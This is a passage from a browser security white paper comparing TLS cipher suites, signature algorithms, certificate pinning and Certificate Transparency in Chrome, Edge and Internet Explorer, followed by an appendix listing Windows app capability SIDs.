TLS_RSA_WITH_AES_256_GCM_SHA384 (0x9d)    
TLS_RSA_WITH_AES_128_GCM_SHA256 (0x9c)    
TLS_RSA_WITH_AES_256_CBC_SHA256 (0x3d) #   
TLS_RSA_WITH_AES_128_CBC_SHA256 (0x3c) #   
TLS_RSA_WITH_AES_256_CBC_SHA (0x35)    
TLS_RSA_WITH_AES_128_CBC_SHA (0x2f)    
TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xa) WEAK
(112 effective)

   

TLS_GREASE_5A (0x8a8a)  # #
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305-
_SHA256 (0xcca9) Forward Secrecy

 # #

TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305-
_SHA256 (0xcca8) Forward Secrecy

 # #

Table 18.3: Cipher Suites Supported by each Browser ( - True,# - False,G# - Partly)

As shown in table 18.3, all browsers support cipher suites that are considered secure at the time of writing.
They prefer strong ciphers over weaker ones. The first choice of Google Chrome is the TLS_GREASE_5A
(0x8a8a)mechanismwhich is designed10 to prevent extensibility failures. It is considered irrelevant for
security as it should be ignored by all standards compliant servers.
The first choice of all browsers are algorithms using TLS_ECDHE_ECDSA. This is considered secure and
sufficient at the time of writing.
In contrast to Microsoft Edge and Internet Explorer, which support 19 different cipher suites, Google
Chrome supports only 14. Since the suites supported by Google Chrome are considered secure, having
10https://tools.ietf.org/html/draft-davidben-tls-grease-01
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fewer cipher implementations can only serve to reduce complexity and reduces attack surface. Except
for three cipher suites, Microsoft Edge and Internet Explorer supported all the cipher suites that Google
Chrome supported. Both Google Chrome, Microsoft Edge and Internet Explorer support cipher suites
using the Triple Data Encryption Standard (3DES) cipher algorithmwhich is consideredweak by SSL Labs11.
While 3DES is a legacy cipher that is not the preferred choice for security, it is also not considered broken.
However, the Sweet3212 attack highlights that this cipher should be consideredweak.
The supported cipher suites forMicrosoft Edge and Internet Explorer are identical. Both implementations
are based on the same Secure Channel implementation with identical configuration regarding ciphers suites.
When analyzing transport encryption, authentication, and integrity mechanisms, the following cipher and
protocol properties are important:

• Forward Secrecy: Even if the private keys are leaked at some point in time, attackers cannot decrypt
past communications.

• Authenticated Encryptionwith AssociatedData (AEAD): Combining confidentiality, integrity, and
authenticity into a single interface.

• NonceMisuse Resistance: Mitigations / Implicit prevention against usage of repeated nonces.

Cipher Suite Forward Secrecy AEAD NonceMisuse Resistance
TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384
(0xc02c)

  #

TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256
(0xc02b)

  #

TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(0xc030)

  #

TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
(0xc02f)

  #

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384
(0xc024)

 # #

TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256
(0xc023)

 # #

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384
(0xc028)

 # #

TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256
(0xc027)

 # #

TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
(0xc00a)

 # #

TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
(0xc009)

 # #

TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA (0xc014)  # #
TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA (0xc013)  # #
TLS_RSA_WITH_AES_256_GCM_SHA384 (0x9d) #  #
TLS_RSA_WITH_AES_128_GCM_SHA256 (0x9c) #  #
TLS_RSA_WITH_AES_256_CBC_SHA256 (0x3d) # # #
TLS_RSA_WITH_AES_128_CBC_SHA256 (0x3c) # # #
TLS_RSA_WITH_AES_256_CBC_SHA (0x35) # # #
TLS_RSA_WITH_AES_128_CBC_SHA (0x2f) # # #

11https://blog.qualys.com/ssllabs/2016/11/16/announcing-ssl-labs-grading-changes-for-2017
12https://sweet32.info
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TLS_RSA_WITH_3DES_EDE_CBC_SHA (0xa) WEAK
(112 effective)

# # #

TLS_GREASE_5A (0x8a8a) - - #
TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305-
_SHA256 (0xcca9)

   

TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305-
_SHA256 (0xcca8)

   

Table 18.4: Cipher Suites Supported by each Browser ( - True,# - False,G# - Partly)

As shown in table18.4, all browsers support theGalois/CounterMode (GCM) ciphermode for theAdvanced
Encryption Standard (AES) and forward secrecy. GCM also provides Authenticated Encryption with Associ-
ated Data (AEAD). Additionally, Google Chrome supports themoremodern ChaCha2013 cipher with the
Poly1305 authenticator in combinedmode. They were designed by D. J. Bernstein. Compared to AES-GCM,
they are consideredmoremodern and secure by cryptography experts1415.
None of the browsers currently support cipher algorithms that have implicit noncemisuse resistance1617.
However, TLS 1.2 using AEAD_CHACHA20_POLY1305 as specified by RFC790518 prevents the reuse of
nonces whichmakes it resistant against noncemisuse. We consider resistance against nonce reuse attacks
important in terms of security since implementation flaws have been reported19 in the past regarding
incorrect usage of nonces.

18.3 SUPPORTED SIGNATURE ALGORITHMS
Algorithm Google Chrome Microsoft Edge Internet Explorer
SHA256/RSA    
SHA384/RSA    
SHA1/RSA    
SHA256/ECDSA    
SHA384/ECDSA    
SHA1/ECDSA #   
SHA1/DSA #   
SHA512/RSA    
SHA512/ECDSA #   
RSA_PSS_SHA256  # #
RSA_PSS_SHA384  # #
RSA_PSS_SHA512  # #

Table 18.5: Browser Signature Algorithms ( - True,# - False,G# - Partly)

13https://tools.ietf.org/html/rfc7539
14https://www.imperialviolet.org/2013/10/07/chacha20.html
15https://eprint.iacr.org/2007/472
16https://blog.cloudflare.com/tls-nonce-nse/
17https://www.lvh.io/posts/nonce-misuse-resistance-101.html
18https://tools.ietf.org/html/rfc7905
19https://eprint.iacr.org/2016/475.pdf
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All browsers supported the standard signature algorithms of the Secure Hashing Algorithm (SHA) family
(see table 18.5), which are used to signX.50920 certificates. Nobrowser supports SecureHashingAlgorithm
3 (SHA-3) or other modern hash functions, and no browser supports the deprecated and insecureMessage
Digest 5 (MD5) algorithm. All browsers supported the SecureHashingAlgorithm1 (SHA-1) hash algorithms
for which collisions have been demonstrated21 by researchers of CWI Amsterdam andGoogle in 2017.
As stated in an update to the SHA-1 deprecation announcement22, starting on May 9, 2017, Microsoft
Edge and Internet Explorer will display an invalid certificate warning for sites using a SHA-1 certificate.
This was verified as shown in figures 18.2 and 18.3. The warning as shown by Google Chrome can be seen
in figure 18.1. This warning is only displayed to certificates that are chained to theMicrosoft root of trust,
but not to certificates chained to other enterprise certificates or self-signed certificates. This means that
enterprise contexts using insecure SHA-1 signatures will not display any warnings.
It was also verified that all the three browsers display a warning when they encounter a certificate signed
using SHA-1.

Figure 18.1: SHA-1 CertificateWarning in Google Chrome

20http://www.itu.int/rec/T-REC-X.509/en
21https://security.googleblog.com/2017/02/announcing-first-sha1-collision.html
22https://blogs.windows.com/msedgedev/2016/11/18/countdown-to-sha-1-deprecation/
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Figure 18.2: SHA-1Warning inMicrosoft Edge

Figure 18.3: SHAWarning in Internet Explorer

18.4 PROTOCOL FEATURES
Feature Google Chrome Microsoft Edge Internet Explorer
Server Name Indication (SNI)    
Secure Renegotiation    
TLS compression # # #
Session tickets    
Online Certificate Status Protocol (OCSP) stapling    
Elliptic curve x25519    
Elliptic curve secp256r1    
Elliptic curve secp384r1    
Elliptic curve tls_grease_8a8a  # #
Next Protocol Negotiation # # #
Application Layer Protocol Negotiation  (h2 http/1.1)  (h2 http/1.1)  (h2 http/1.1)
SSL 2 handshake compatibility # # #

Table 18.6: Protocol Features ( - True,# - False,G# - Partly)
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18.5 MIXED CONTENT ENABLED
Content Google Chrome Microsoft Edge Internet Explorer
Images (Passive)    
CSS (Active) # # #
Scripts (Active) # # #
XMLHttpRequest (Active) # # #
WebSockets (Active) # # #
Frames (Active) # # #

Table 18.7:Mixed Content ( - True,# - False,G# - Partly)

In contrast to Internet Explorer, Google Chrome and Microsoft Edge support the “Upgrade Insecure
Requests”23 request header. This header indicates that the client prefers an encrypted and authenticated
response. This is closely related to HTTP Strict Transport Security (HSTS) and CSP.

18.6 CERTIFICATE SECURITY FOR TLS
The Microsoft Windows 10 trust store contains 30 trusted root Certificate Authority (CA) certificates.
These certificates can be used to sign server certificates and intermediary CA certificates. If a trusted root
CA or any one of the intermediary CAs is compromised, their certificates could be used to create valid, yet
unauthorized certificates for anywebsite and subvert the security offered by SSL and TLS. In the context of
Google Chrome, where the ChromeWeb Store is implemented as a website and depends on certificates for
security, the security of this system is vital.

18.6.1 Choices of Certificate Authorities
All browsers use the Microsoft Windows certificate store on Microsoft Windows 10 to validate server
certificates for websites. Google Chrome has added features like key pinning and certificate transparency
that mitigate attacks using a compromised ormalicious CA.

18.6.2 Public Key Pinning
Public key pinning uses a whitelist of public keys in a certificate chain for certain domains in order to
detect when an unauthorized certificate is forged. It was first introduced24 in Google Chrome version 13.
RFC746925 defines HTTP Public Key Pinning (HPKP) which enables websites to use public key pinning via a
dedicated HTTP header.
23https://www.w3.org/TR/upgrade-insecure-requests/#preference
24https://www.imperialviolet.org/2011/05/04/pinning.html
25https://tools.ietf.org/html/rfc7469
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As table 18.8 showsHPKP is only supported by Google Chrome at the time of writing. It is currently under
consideration26 forMicrosoft Edge.

Google Chrome Microsoft Edge Internet Explorer
HPKP  # #

Table 18.8: HPKP Support ( - True,# - False,G# - Partly)

Google Chrome has a built-in list27 of known root certificate hashes. If one of these certificates is the
root of a certificate chain for a server, Google Chrome will check for certificate public key pinning. If it
is not the root, but a private trust anchor, no certificate pinning checks will be performed. According to
the documentation28 this is to avoid problems with products that intercept SSL / TLS. According to the
documentation pin validation will not be performed in this case:

Chrome does not perform pin validation when the certificate chain chains up to a private trust
anchor. A key result of this policy is that private trust anchors can be used to proxy (orMITM)
connections, even to pinned sites. “Data loss prevention” appliances, firewalls, content filters,
andmalware can use this feature to defeat the protections of key pinning.
We deem this acceptable because the proxy orMITM can only be effective if the client machine
has already been configured to trust the proxy’s issuing certificate— that is, the client is already
under the control of the personwho controls the proxy (e.g. the enterprise’s IT administrator). If
the client does not trust the private trust anchor, the proxy’s attempt tomediate the connection
will fail as it should.

We confirmed this behaviour by creating a trusted root CA in theMicrosoftWindows trusted certificate
store and an additional intermediate CA used by Burp Proxy29 to intercept TLS connections. As shown
in figure 18.4, a connection to http://google.comworks with a user installed rogue trusted CA and an
intermediary CA.
This effectively means that for all custom CA certificates that have their hashes not built into Google
Chrome, certificate pinning does not work. For example in 2015 it was discovered30 that Lenovo shipped
laptops with software installing a trusted CA certificate including the private key of this certificate.
For enterprise environments a Microsoft Windows feature exists called Enterprise Certificate Pinning31.
Using a custom rule file, pinning for certain domains can be defined. This feature is not standard and not
enabled by default.
26https://developer.microsoft.com/en-us/microsoft-edge/platform/status/publickeypinningextensionforhttp/
27https://cs.chromium.org/chromium/src/net/cert/x509_certificate_known_roots_win.h?type=cs&q=kKnownRootCe

rtSHA256Hashes+package:%5Echromium\protect\T1\textdollar&l=19
28https://www.chromium.org/Home/chromium-security/security-faq#TOC-How-does-key-pinning-interact-with-l

ocal-proxies-and-filters-
29https://portswigger.net/burp/
30http://www.zdnet.com/article/lenovo-accused-of-pushing-superfish-self-signed-mitm-proxy/
31https://docs.microsoft.com/en-us/windows/access-protection/enterprise-certificate-pinning
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Figure 18.4: SSL Interception in Google Chrome

18.6.3 Certificate Transparency
Certificate Transparency (CT) is a project started by Google to provide an audit process for the issuing
and usage of certificates. Themain goal is to identify certificates that are not legitimately issued by CAs.
According to theCTpolicy32 inGoogleChrome, it could be required for certainCAs in response to a security
incident. However, it is not required for all trusted root CAs. In this case the Extended Validation indicator
will not be shown by Google Chrome because CT is a necessary requirement starting 2015-01-0133. Also
logs of CT are used to create databases that can be publicly searched such as https://crt.sh.
CT is based on Merkle Trees which are hash trees used in cryptographic applications. They allow the
verification of data structures in an efficient way. CT ensures that servers have to show a proof as part of
the TLS handshakewhich ensures the client that a proof of this certificate has been published in a public
log. A detailed technical description of CT is beyond the scope of this white paper and can be found on
https://www.certificate-transparency.org/.
Microsoft Edge and Internet Explorer do not have a similar system and therefore do not offer such trans-
parency.
In general, we consider CT as beneficial since it should effectively prevent hidden misuse or malice of
32https://a77db9aa-a-7b23c8ea-s-sites.googlegroups.com/a/chromium.org/dev/Home/chromium-security/root-c

a-policy/CTPolicyMay2016edition.pdf
33https://www.certificate-transparency.org/ev-ct-plan

X41D-SECGmbH Page 162 of 197

https://crt.sh
https://www.certificate-transparency.org/
https://a77db9aa-a-7b23c8ea-s-sites.googlegroups.com/a/chromium.org/dev/Home/chromium-security/root-ca-policy/CTPolicyMay2016edition.pdf
https://a77db9aa-a-7b23c8ea-s-sites.googlegroups.com/a/chromium.org/dev/Home/chromium-security/root-ca-policy/CTPolicyMay2016edition.pdf
https://www.certificate-transparency.org/ev-ct-plan


Browser SecurityWhite Paper

a CA. However, this should be combined with methods to warn users immediately when attacks occur.
One example would be a security check that notices when a CA for a certain domain has changed. An
experienced user could then verify the origin of a changed certificate by checking the CA that issued it.
This is similar to trust-on-first-use scenarios where changes of certificates or private keys are immediately
noticed. In such scenarios it is assumed that the first time interaction occurs noMITM is occurring, and
fingerprints or other verifiable values are recorded to check future interactions. If these value change
subsequently this leads to an error or a warning.
Wewould like to adviseMicrosoft Edge and Internet Explorer to implement CT in order tomake attacks
against authenticationmechanisms in browsers more detectable.
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A Appendix

ERRATA
• Page 11: Mention the browser versions tested.
• Page 20: Chrome does not support PDF, fix table 4.5, reported bymultiple persons.
• Page 86: Spelling were/where, reported by itamarazulay.
• Page 87: Removed comment about bypasses in JavaScript frameworks, pointed out by@shhnjk.
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SANDBOX

Alphabetical list of known app capabilities SIDs
• accessoryManager
SID:S-1-15-3-1024-1069651245-2375841711-1570187833-1826699927-1726783584-1420246439-936999711-2864509111

• activity
SID:S-1-15-3-1024-4191902497-1978494743-2749246665-3072910927-102050379-1373940514-1865125746-920055924

• allAppMods
SID:S-1-15-3-1024-739809946-31981425-3357933805-1069317161-1095314212-1881123208-2517158727-2838317017

• allJoyn
SID:S-1-15-3-1024-3804131010-705767314-2184915385-1233717497-4177653708-4048234552-2488388519-2361358067
Qualified name: NAMED CAPABILITIES\All Joyn

• appBroadcastServices
SID:S-1-15-3-1024-2926717412-422488402-1366096836-1344602270-1873175643-1473303204-936893394-2894442738
Qualified name: NAMED CAPABILITIES\App Broadcast Services

• appCaptureServices
SID:S-1-15-3-1024-1463147068-3371832618-1388101890-3973589861-2607976136-547912034-117841509-208667311
Qualified name: NAMED CAPABILITIES\App Capture Services

• appCaptureSettings
SID:S-1-15-3-1024-658842318-317372455-4011887121-1811749129-3600856248-3713732611-2239025110-3453100640
Qualified name: NAMED CAPABILITIES\App Capture Settings

• appLicensing
SID:S-1-15-3-1024-2889647217-2665888344-755061017-1229970740-3900060832-776474665-3655643929-4127345024
Qualified name: NAMED CAPABILITIES\App Licensing

• appointments
SID:S-1-15-3-11
Qualified name: APPLICATION PACKAGE AUTHORITY\Your Appointments

• appointmentsSystem
SID:S-1-15-3-1024-2643354558-482754284-283940418-2629559125-2595130947-547758827-818480453-1102480765
Qualified name: NAMED CAPABILITIES\Appointments System

• audioDeviceConfiguration
SID:S-1-15-3-1024-883896814-3354213294-3301286982-317704133-585371054-1013261047-3043375309-4225165118

• backgroundMediaPlayback
SID:S-1-15-3-1024-2534516097-1142442286-655920092-1743268574-1314016795-1429942190-2819395560-270754105
Qualified name: NAMED CAPABILITIES\Background Media Playback

• blockedChatMessages
SID:S-1-15-3-1024-1615643396-3082447698-3017968123-3374415059-2610093431-2583988378-2307023373-470284681

• bluetooth
SID:S-1-15-3-1024-3695299237-4278247513-1402175595-525333027-1997893985-119680826-3080251162-2948828488

• cellularDeviceControl
SID:S-1-15-3-1024-3523901360-1745872541-794127107-675934034-1867954868-1951917511-1111796624-2052600462
Qualified name: NAMED CAPABILITIES\Cellular Device Control

• cellularDeviceIdentity
SID:S-1-15-3-1024-11742800-2107441976-3443185924-4134956905-3840447964-3749968454-3843513199-670971053
Qualified name: NAMED CAPABILITIES\Cellular Device Identity
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• cellularMessaging
SID:S-1-15-3-1024-3659434007-2290108278-1125199667-3679670526-1293081662-2164323352-1777701501-2595986263
Qualified name: NAMED CAPABILITIES\Cellular Messaging

• chatSystem
SID:S-1-15-3-1024-2210865643-3515987149-1329579022-3761842879-3142652231-371911945-4180581417-4284864962
Qualified name: NAMED CAPABILITIES\Chat System

• codeGeneration
SID:S-1-15-3-1024-3802075078-3056353928-831493480-1656114792-3017467262-3614159431-110502994-2980336225

• confirmAppClose
SID:S-1-15-3-1024-719903687-4232398539-3510704256-4190309334-1296461745-392634193-3994393407-3122493104
Qualified name: NAMED CAPABILITIES\Confirm App Close

• contacts
SID:S-1-15-3-12
Qualified name: APPLICATION PACKAGE AUTHORITY\Your Contacts

• contactsSystem
SID:S-1-15-3-1024-2897291008-3029319760-3330334796-465641623-3782203132-742823505-3649274736-3650177846
Qualified name: NAMED CAPABILITIES\Contacts System

• cortanaPermissions
SID:S-1-15-3-1024-3275915203-3073501320-309536135-1674744297-1740689076-4251230105-810187298-4091229748

• cortanaSpeechAccessory
SID:S-1-15-3-1024-2393506754-775327057-2499928852-1629457672-3431788399-3853256447-4267427883-2817119566

• deviceManagementDmAccount
SID:S-1-15-3-1024-2830772650-3846338416-1816072262-3095855940-4193335384-2293034769-252220343-157514922

• deviceManagementEmailAccount
SID:S-1-15-3-1024-917207464-68434614-1080454720-3650237274-2024810623-3125538881-3710571513-3065818052
Qualified name: NAMED CAPABILITIES\Device Management Email Account

• deviceManagementFoundation
SID:S-1-15-3-1024-2114238718-839519356-3141599949-1701592612-4239813495-2246009235-3401969156-562141158
Qualified name: NAMED CAPABILITIES\Device Management Foundation

• deviceManagementWapSecurityPolicies
SID:S-1-15-3-1024-3057529725-2845346375-3525973929-2302649945-3073475876-347241512-4167996218-3915214886

• deviceUnlock
SID:S-1-15-3-1024-3090417596-1177152433-709977159-3759866339-3648116925-1194977332-3459169701-1652573254

• documentsLibrary
SID:S-1-15-3-7
Qualified name: APPLICATION PACKAGE AUTHORITY\Your documents library

• dualSimTiles
SID:S-1-15-3-1024-531085349-3971269601-1024280280-4054111094-4029683689-912804737-715231967-2563861597
Qualified name: NAMED CAPABILITIES\Dual Sim Tiles

• email
SID:S-1-15-3-1024-3213385057-1002943098-1723051927-1419152406-3870126442-848894659-559664656-2364677135

• emailSystem
SID:S-1-15-3-1024-2357373614-1717914693-1151184220-2820539834-3900626439-4045196508-2174624583-3459390060
Qualified name: NAMED CAPABILITIES\Email System

• enterpriseAuthentication
SID:S-1-15-3-8
Qualified name: APPLICATION PACKAGE AUTHORITY\Your Windows credentials

• enterpriseDataPolicy
SID:S-1-15-3-1024-373139346-748750918-1948434659-2643498477-4072104851-1007166015-1979446734-3878125657
Qualified name: NAMED CAPABILITIES\Enterprise Data Policy
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• enterpriseDeviceLockdown
SID:S-1-15-3-1024-1720708008-676358685-3694961389-3536049837-28312851-1003502039-653286243-2922628565

• expandedResources
SID:S-1-15-3-1024-2260126382-343122119-3503137940-547812879-2608166238-1729045573-3394722501-2075048815

• extendedBackgroundTaskTime
SID:S-1-15-3-1024-366303795-2616852666-3636748606-1444657452-4092942175-931406372-2783367388-2252851075

• extendedExecutionBackgroundAudio
SID:S-1-15-3-1024-1757733230-3792965022-4183625483-1509180916-2800675197-3882158587-2291756888-318020845
Qualified name: NAMED CAPABILITIES\Extended Execution Background Audio

• extendedExecutionCritical
SID:S-1-15-3-1024-1129237768-79454143-2136254559-1623985096-3814653484-63270843-875342860-3699824235

• extendedExecutionUnconstrained
SID:S-1-15-3-1024-374222737-2106488203-813473153-3732709437-2286922564-1719656165-2804691494-2247406137
Qualified name: NAMED CAPABILITIES\Extended Execution Unconstrained

• firstSignInSettings
SID:S-1-15-3-1024-1915131181-1661839130-3466558662-2365313265-168482886-3910651210-2178004652-3294308643
Qualified name: NAMED CAPABILITIES\First Sign In Settings

• gameBarServices
SID:S-1-15-3-1024-449500426-4112254358-3456904286-1727260714-2501084857-171973213-3131658879-2198086578
Qualified name: NAMED CAPABILITIES\Game Bar Services

• gameList
SID:S-1-15-3-1024-2845449227-614308480-78272248-3394209543-1591752031-1559218649-93556750-3923753255
Qualified name: NAMED CAPABILITIES\Game List

• gameMonitor
SID:S-1-15-3-1024-904812328-3382336523-604674363-3566595458-55181553-1647155837-3587023889-1434257878

• humaninterfacedevice
SID:S-1-15-3-1024-1046399399-2930200366-2987218432-2534044392-2246125859-3426736648-2380978411-3024971649

• inputForegroundObservation
SID:S-1-15-3-1024-700980291-3826703102-74257294-1944477230-3996044019-1710163232-669333698-3456870998
Qualified name: NAMED CAPABILITIES\Input Foreground Observation

• inputInjection
SID:S-1-15-3-1024-918685303-2392273179-1242551144-2277013827-3453391213-358261840-2217007564-611397587
Qualified name: NAMED CAPABILITIES\Input Injection

• inputObservation
SID:S-1-15-3-1024-3027914275-2211407940-856553809-632662545-1682185480-3508903257-964318829-733730950

• inputSuppression
SID:S-1-15-3-1024-765387629-349433948-1457807909-617344056-1566752638-257569518-614478271-2332265213

• internetClient
SID:S-1-15-3-1
Qualified name: APPLICATION PACKAGE AUTHORITY\Your Internet connection

• internetClientServer
SID:S-1-15-3-2
Qualifiedname: APPLICATION PACKAGE AUTHORITY\Your Internet connection, including incoming connections from the Internet

• interopServices
SID:S-1-15-3-1024-3588549841-719077279-3941072665-3448285197-1036512782-3700459644-2560456231-1231893854

• location
SID:S-1-15-3-1024-1120341015-4059530845-270443254-1514536596-2315272569-284657971-419501928-776969430
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• locationHistory
SID:S-1-15-3-1024-3029335854-3332959268-2610968494-1944663922-1108717379-267808753-1292335239-2860040626
Qualified name: NAMED CAPABILITIES\Location History

• locationSystem
SID:S-1-15-3-1024-2587416013-1330314424-1690737965-1725259538-4126505581-1558002373-2875425159-3881190746
Qualified name: NAMED CAPABILITIES\Location System

• lowLevelDevices
SID:S-1-15-3-1024-2136653787-990173382-3730014305-3794374500-1001559012-3111233883-485923750-2526317185

• microphone
SID:S-1-15-3-1024-3996699186-3595629362-3480063212-3905085333-2276303035-3068169911-3004821721-4252886170

• mobile
SID:S-1-15-3-1024-1621525094-3528432894-3426482469-2238951698-3246337263-1285596169-1415047534-1919310335

• musicLibrary
SID:S-1-15-3-6
Qualified name: APPLICATION PACKAGE AUTHORITY\Your music library

• musicLibrary
SID:S-1-15-3-6
Qualified name: APPLICATION PACKAGE AUTHORITY\Your music library

• networkConnectionManagerProvisioning
SID:S-1-15-3-1024-1904668343-1122143141-2896894936-1757704438-2225457261-1832870532-4083204921-4111087458
Qualified name: NAMED CAPABILITIES\Network Connection Manager Provisioning

• networkDataPlanProvisioning
SID:S-1-15-3-1024-4214965917-3375290950-3857009211-4120063080-3741332808-2868847822-1843154671-4148511555

• networkingVpnProvider
SID:S-1-15-3-1024-1068037383-729401668-2768096886-125909118-1680096985-174794564-3112554050-3241210738

• objects3D
SID:S-1-15-3-1024-1714402723-3681070311-1045646184-555837952-257600184-3998505355-63610276-3865718003
Qualified name: NAMED CAPABILITIES\Objects3 D

• oemDeployment
SID:S-1-15-3-1024-1114507550-2235118486-1313240074-4283153625-597607960-2635661315-2827405174-912873668

• optical
SID:S-1-15-3-1024-1575399732-3056358718-2825064311-550644430-3464259740-2132227768-979495139-1077632175

• packageManagement
SID:S-1-15-3-1024-734518492-402359323-2580938124-1419864735-4212787651-2727913556-228323224-564805089
Qualified name: NAMED CAPABILITIES\Package Management

• packagePolicySystem
SID:S-1-15-3-1024-1074678882-1845519692-958031958-89677218-2730550528-3336438952-1306664337-3311493206

• packageQuery
SID:S-1-15-3-1024-1962849891-688487262-3571417821-3628679630-802580238-1922556387-206211640-3335523193
Qualified name: NAMED CAPABILITIES\Package Query

• phoneCall
SID:S-1-15-3-1024-383293015-3350740429-1839969850-1819881064-1569454686-4198502490-78857879-1413643331
Qualified name: NAMED CAPABILITIES\Phone Call

• phoneCallHistory
SID:S-1-15-3-1024-951693731-901288528-2895271546-317143909-1504712250-25973806-3907851571-1618863794
Qualified name: NAMED CAPABILITIES\Phone Call History

• phoneCallHistoryPublic
SID:S-1-15-3-1024-1631604711-3604716289-3767720303-698625756-2814662190-970047950-2326260488-1280393717
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• phoneCallHistorySystem
SID:S-1-15-3-1024-2442212369-1516598453-2330995131-3469896071-605735848-2536580394-3691267241-2105387825
Qualified name: NAMED CAPABILITIES\Phone Call History System

• picturesLibrary
SID:S-1-15-3-4
Qualified name: APPLICATION PACKAGE AUTHORITY\Your pictures library

• picturesLibrary
SID:S-1-15-3-4
Qualified name: APPLICATION PACKAGE AUTHORITY\Your pictures library

• pointOfService
SID:S-1-15-3-1024-1849711939-2055372412-1430709549-403095800-2349372689-2887650183-34019435-3605578527

• previewInkWorkspace
SID:S-1-15-3-1024-461248178-238806672-481084236-3891410989-2771223391-2696077494-4217549958-1571088004

• previewPenWorkspace
SID:S-1-15-3-1024-1316175169-1773014438-1613326986-24619653-3648585828-3852118800-56534641-2026697600
Qualified name: NAMED CAPABILITIES\Preview Pen Workspace

• previewStore
SID:S-1-15-3-1024-3995113440-3884054055-1031826285-344537609-2951767964-1612438789-3955710486-685105120
Qualified name: NAMED CAPABILITIES\Preview Store

• previewUiComposition
SID:S-1-15-3-1024-4039605918-3873411318-27610139-1128268345-19234073-2909949027-3062533374-2176626134

• privateNetworkClientServer
SID:S-1-15-3-3
Qualified name: APPLICATION PACKAGE AUTHORITY\Your home or work networks

• protectedApp
SID:S-1-15-3-1024-3201220807-3619763700-1592940189-1757660495-672602728-3988728386-3927502142-3543502805

• proximity
SID:S-1-15-3-1024-2277154106-1198253741-1251649293-2785554404-1571676292-3400936580-1687833907-3924095924

• radios
SID:S-1-15-3-1024-3819248598-2325341108-263814137-3273722481-4086152792-1551417442-514296332-2020513533

• recordedCallsFolder
SID:S-1-15-3-1024-1197439550-2076375017-2388317006-4244034133-3805565224-2676722506-3094586543-1803227934
Qualified name: NAMED CAPABILITIES\Recorded Calls Folder

• remotePassportAuthentication
SID:S-1-15-3-1024-3897381677-2518389896-958950170-4086390243-3353327115-2219161105-2047156235-314897931
Qualified name: NAMED CAPABILITIES\Remote Passport Authentication

• remoteSystem
SID:S-1-15-3-1024-3382307235-172505126-3436709648-3853344092-1878498961-3808853949-3782709338-3842044973
Qualified name: NAMED CAPABILITIES\Remote System

• removableStorage
SID:S-1-15-3-10
Qualified name: APPLICATION PACKAGE AUTHORITY\Removable storage

• screenDuplication
SID:S-1-15-3-1024-2752188826-3550772256-221158601-1503784687-2973994425-58216879-891029702-2423973439
Qualified name: NAMED CAPABILITIES\Screen Duplication

• secondaryAuthenticationFactor
SID:S-1-15-3-1024-759497869-3426324426-2080302537-280970568-1023192118-597262764-3695343976-1004345243
Qualified name: NAMED CAPABILITIES\Secondary Authentication Factor
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• secureAssessment
SID:S-1-15-3-1024-1231405757-631568165-502048027-2646382484-613260345-2075369228-3000949285-4219498872
Qualified name: NAMED CAPABILITIES\Secure Assessment

• serialcommunication
SID:S-1-15-3-1024-2259232173-3065707605-3546759525-3107910369-1496933107-2416423869-535863999-1547775798

• sharedUserCertificates
SID:S-1-15-3-9
Qualified name: APPLICATION PACKAGE AUTHORITY\Software and hardware certificates or a smart card

• slapiQueryLicenseValue
SID:S-1-15-3-1024-3578703928-3742718786-7859573-1930844942-2949799617-2910175080-1780299064-4145191454
Qualified name: NAMED CAPABILITIES\Slapi Query License Value

• smsSend
SID:S-1-15-3-1024-128185722-850430189-1529384825-139260854-329499951-1660931883-3499805589-3019957964
Qualified name: NAMED CAPABILITIES\Sms Send

• startScreenManagement
SID:S-1-15-3-1024-782401966-1532617391-3031078076-101244278-3991565062-447768907-4209600932-4293427563
Qualified name: NAMED CAPABILITIES\Start Screen Management

• storeLicenseManagement
SID:S-1-15-3-1024-2819154332-3691255550-2499738133-2646149002-4290075130-3069449926-721213713-3168903538
Qualified name: NAMED CAPABILITIES\Store License Management

• systemManagement
SID:S-1-15-3-1024-1023893147-235863880-425656572-4266519675-2590647553-3475379062-430000033-3360374247

• targetedContent
SID:S-1-15-3-1024-3036464858-3155602757-2052184566-2810840899-4148930525-1208855857-3369979990-1199230028
Qualified name: NAMED CAPABILITIES\Targeted Content

• teamEditionExperience
SID:S-1-15-3-1024-2380060612-1737381507-4167045332-4184987838-4083872623-3212612518-450314405-3897841498
Qualified name: NAMED CAPABILITIES\Team Edition Experience

• uiAutomation
SID:S-1-15-3-1024-455651970-3154891787-1312607059-3809782779-3233841121-1753899376-1308168088-528740324

• usb
SID:S-1-15-3-1024-2220380775-2622013822-1599222386-2219895693-4014100651-1227276184-635187290-3404514634

• userAccountInformation
SID:S-1-15-3-1024-3014353654-4060050185-4188274494-1467411622-2017116772-860365275-2455311434-3523940624
Qualified name: NAMED CAPABILITIES\User Account Information

• userDataAccountsProvider
SID:S-1-15-3-1024-624372219-572103895-3839054141-4184514356-2205606268-3026111568-3738370332-3748229556
Qualified name: NAMED CAPABILITIES\User Data Accounts Provider

• userDataSystem
SID:S-1-15-3-1024-3324773698-3647103388-1207114580-2173246572-4287945184-2279574858-157813651-603457015
Qualified name: NAMED CAPABILITIES\User Data System

• userPrincipalName
SID:S-1-15-3-1024-2911463036-237878888-509312955-1981876715-2004097936-1552120448-2430620302-2295502469
Qualified name: NAMED CAPABILITIES\User Principal Name

• userSystemId
SID:S-1-15-3-1024-3755676145-4259313647-2808356580-3373894405-2165299177-498323172-48808592-1417246423

• videosLibrary
SID:S-1-15-3-5
Qualified name: APPLICATION PACKAGE AUTHORITY\Your videos library
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• videosLibrary
SID:S-1-15-3-5
